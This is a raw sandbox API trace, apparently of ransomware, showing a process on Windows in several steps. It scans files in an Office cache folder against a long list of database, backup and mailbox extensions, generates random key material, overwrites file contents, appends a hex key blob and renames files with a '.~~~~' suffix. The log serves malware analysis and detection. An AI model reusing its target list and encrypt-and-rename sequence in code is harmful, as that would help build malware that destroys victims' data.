	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".ndf") returned 0x0
	[0076.236] lstrlenW (lpString=".DB") returned 3
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DB") returned 0x0
	[0076.236] lstrlenW (lpString=".sql") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".sql") returned 0x0
	[0076.236] lstrlenW (lpString=".MYD") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".MYD") returned 0x0
	[0076.236] lstrlenW (lpString=".DBT") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DBT") returned 0x0
	[0076.236] lstrlenW (lpString=".ACCDB") returned 6
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".ACCDB") returned 0x0
	[0076.236] lstrlenW (lpString=".fdb") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".fdb") returned 0x0
	[0076.236] lstrlenW (lpString=".bak") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".bak") returned 0x0
	[0076.236] lstrlenW (lpString=".myd") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".myd") returned 0x0
	[0076.236] lstrlenW (lpString=".DTXS") returned 5
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".DTXS") returned 0x0
	[0076.236] lstrlenW (lpString=".ckp") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".ckp") returned 0x0
	[0076.236] lstrlenW (lpString=".dbt") returned 4
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".dbt") returned 0x0
	[0076.236] lstrlenW (lpString=".db") returned 3
	[0076.236] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".db") returned 0x0
	[0076.237] lstrlenW (lpString=".TXT") returned 4
	[0076.237] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".TXT") returned 0x0
	[0076.237] lstrlenW (lpString=".MDF") returned 4
	[0076.237] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".MDF") returned 0x0
	[0076.237] lstrlenW (lpString=".bdb") returned 4
	[0076.237] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".bdb") returned 0x0
	[0076.237] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0076.237] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0076.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x3a7108
	[0076.237] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0076.237] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x39fe28) returned 1
	[0076.238] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0076.238] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0076.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x39b740
	[0076.238] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=19622806408) returned 1
	[0076.238] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0x9756e370, dwHighDateTime=0x1d60e1e)) 
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27faba0
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0076.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27faba0 | out: hHeap=0x300000) returned 1
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0076.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e7f78
	[0076.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0076.238] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8008
	[0076.238] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7f78 | out: hHeap=0x300000) returned 1
	[0076.238] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0076.239] GetLastError () returned 0x0
	[0076.239] GetLastError () returned 0x0
	[0076.239] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0076.239] GetLastError () returned 0x0
	[0076.239] GetLastError () returned 0x0
	[0076.240] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.244] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0076.244] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x25dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0076.245] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0076.245] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0076.246] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0076.248] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0076.248] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0076.248] CloseHandle (hObject=0x134) returned 1
	[0076.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5748
	[0076.248] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\dwtrig20.exe.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\dwtrig20.exe.~~~~")) returned 1
	[0076.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5748 | out: hHeap=0x300000) returned 1
	[0076.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0076.249] GetLastError () returned 0x0
	[0076.249] RtlWakeConditionVariable () returned 0x365f70
	[0076.249] GetCurrentThreadId () returned 0x9f4
	[0076.249] GetCurrentThreadId () returned 0x9f4
	[0076.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e80c8 | out: hHeap=0x300000) returned 1
	[0076.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fac80 | out: hHeap=0x300000) returned 1
	[0076.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e80c8
	[0076.249] lstrlenW (lpString=".scr") returned 4
	[0076.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll", lpSrch=".scr") returned 0x0
	[0076.249] lstrlenW (lpString=".cmd") returned 4
	[0076.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll", lpSrch=".cmd") returned 0x0
	[0076.249] lstrlenW (lpString=".dll") returned 4
	[0076.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\msvcr90.dll", lpSrch=".dll") returned=".dll"
	[0076.249] lstrlenW (lpString=".dll") returned 4
	[0076.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e80c8 | out: hHeap=0x300000) returned 1
	[0076.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e7cd8 | out: hHeap=0x300000) returned 1
	[0076.249] RtlWakeConditionVariable () returned 0x365f70
	[0076.249] GetCurrentThreadId () returned 0x9f4
	[0076.249] GetCurrentThreadId () returned 0x9f4
	[0076.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7cd8
	[0076.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e8170 | out: hHeap=0x300000) returned 1
	[0076.249] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27facb8 | out: hHeap=0x300000) returned 1
	[0076.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e8170
	[0076.249] lstrlenW (lpString=".scr") returned 4
	[0076.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".scr") returned 0x0
	[0076.249] lstrlenW (lpString=".cmd") returned 4
	[0076.249] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".cmd") returned 0x0
	[0076.250] lstrlenW (lpString=".dll") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dll") returned 0x0
	[0076.250] lstrlenW (lpString=".bat") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".bat") returned 0x0
	[0076.250] lstrlenW (lpString=".cpl") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".cpl") returned 0x0
	[0076.250] lstrlenW (lpString=".sys") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".sys") returned 0x0
	[0076.250] lstrlenW (lpString=".msc") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".msc") returned 0x0
	[0076.250] lstrlenW (lpString=".com") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".com") returned 0x0
	[0076.250] lstrlenW (lpString=".lnk") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".lnk") returned 0x0
	[0076.250] lstrlenW (lpString=".msp") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".msp") returned 0x0
	[0076.250] lstrlenW (lpString=".pif") returned 4
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".pif") returned 0x0
	[0076.250] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0076.250] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch="msp\r\n.pif") returned 0x0
	[0076.250] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128
	[0076.499] lstrlenW (lpString=".sqb") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".sqb") returned 0x0
	[0076.500] lstrlenW (lpString=".ost") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".ost") returned 0x0
	[0076.500] lstrlenW (lpString=".txt") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".txt") returned 0x0
	[0076.500] lstrlenW (lpString=".mdt") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".mdt") returned 0x0
	[0076.500] lstrlenW (lpString=".BDB") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".BDB") returned 0x0
	[0076.500] lstrlenW (lpString=".eql") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".eql") returned 0x0
	[0076.500] lstrlenW (lpString=".DBF") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DBF") returned 0x0
	[0076.500] lstrlenW (lpString=".EQL") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".EQL") returned 0x0
	[0076.500] lstrlenW (lpString=".FDB") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".FDB") returned 0x0
	[0076.500] lstrlenW (lpString=".EDB") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".EDB") returned 0x0
	[0076.500] lstrlenW (lpString=".DACPAC") returned 7
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DACPAC") returned 0x0
	[0076.500] lstrlenW (lpString=".VHD") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".VHD") returned 0x0
	[0076.500] lstrlenW (lpString=".DBV") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DBV") returned 0x0
	[0076.500] lstrlenW (lpString=".dacpac") returned 7
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dacpac") returned 0x0
	[0076.500] lstrlenW (lpString=".sdf") returned 4
	[0076.500] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".sdf") returned 0x0
	[0076.500] lstrlenW (lpString=".accdb") returned 6
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".accdb") returned 0x0
	[0076.501] lstrlenW (lpString=".DBX") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DBX") returned 0x0
	[0076.501] lstrlenW (lpString=".MDT") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".MDT") returned 0x0
	[0076.501] lstrlenW (lpString=".SQB") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".SQB") returned 0x0
	[0076.501] lstrlenW (lpString=".vhd") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".vhd") returned 0x0
	[0076.501] lstrlenW (lpString=".bac") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".bac") returned 0x0
	[0076.501] lstrlenW (lpString=".mdf") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".mdf") returned 0x0
	[0076.501] lstrlenW (lpString=".BAK") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".BAK") returned 0x0
	[0076.501] lstrlenW (lpString=".BAC") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".BAC") returned 0x0
	[0076.501] lstrlenW (lpString=".dbs") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dbs") returned 0x0
	[0076.501] lstrlenW (lpString=".vhdx") returned 5
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".vhdx") returned 0x0
	[0076.501] lstrlenW (lpString=".NDF") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".NDF") returned 0x0
	[0076.501] lstrlenW (lpString=".dat") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dat") returned 0x0
	[0076.501] lstrlenW (lpString=".DBS") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DBS") returned 0x0
	[0076.501] lstrlenW (lpString=".CKP") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".CKP") returned 0x0
	[0076.501] lstrlenW (lpString=".edb") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".edb") returned 0x0
	[0076.501] lstrlenW (lpString=".PST") returned 4
	[0076.501] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".PST") returned 0x0
	[0076.501] lstrlenW (lpString=".dbf") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dbf") returned 0x0
	[0076.502] lstrlenW (lpString=".SQL") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".SQL") returned 0x0
	[0076.502] lstrlenW (lpString=".pst") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".pst") returned 0x0
	[0076.502] lstrlenW (lpString=".dbv") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dbv") returned 0x0
	[0076.502] lstrlenW (lpString=".SDF") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".SDF") returned 0x0
	[0076.502] lstrlenW (lpString=".dtxs") returned 5
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dtxs") returned 0x0
	[0076.502] lstrlenW (lpString=".db3") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".db3") returned 0x0
	[0076.502] lstrlenW (lpString=".OST") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".OST") returned 0x0
	[0076.502] lstrlenW (lpString=".dbx") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".dbx") returned 0x0
	[0076.502] lstrlenW (lpString=".DB3") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DB3") returned 0x0
	[0076.502] lstrlenW (lpString=".DAT") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DAT") returned 0x0
	[0076.502] lstrlenW (lpString=".VHDX") returned 5
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".VHDX") returned 0x0
	[0076.502] lstrlenW (lpString=".ndf") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".ndf") returned 0x0
	[0076.502] lstrlenW (lpString=".DB") returned 3
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DB") returned 0x0
	[0076.502] lstrlenW (lpString=".sql") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".sql") returned 0x0
	[0076.502] lstrlenW (lpString=".MYD") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".MYD") returned 0x0
	[0076.502] lstrlenW (lpString=".DBT") returned 4
	[0076.502] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".DBT") returned 0x0
	[0076.503] lstrlenW (lpString=".ACCDB") returned 6
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".ACCDB") returned 0x0
	[0076.503] lstrlenW (lpString=".fdb") returned 4
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".fdb") returned 0x0
	[0076.503] lstrlenW (lpString=".bak") returned 4
	[0076.503] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab", lpSrch=".bak") returned 0x0
	[0076.503] lstrlenW (lpString=".myd") returned 4
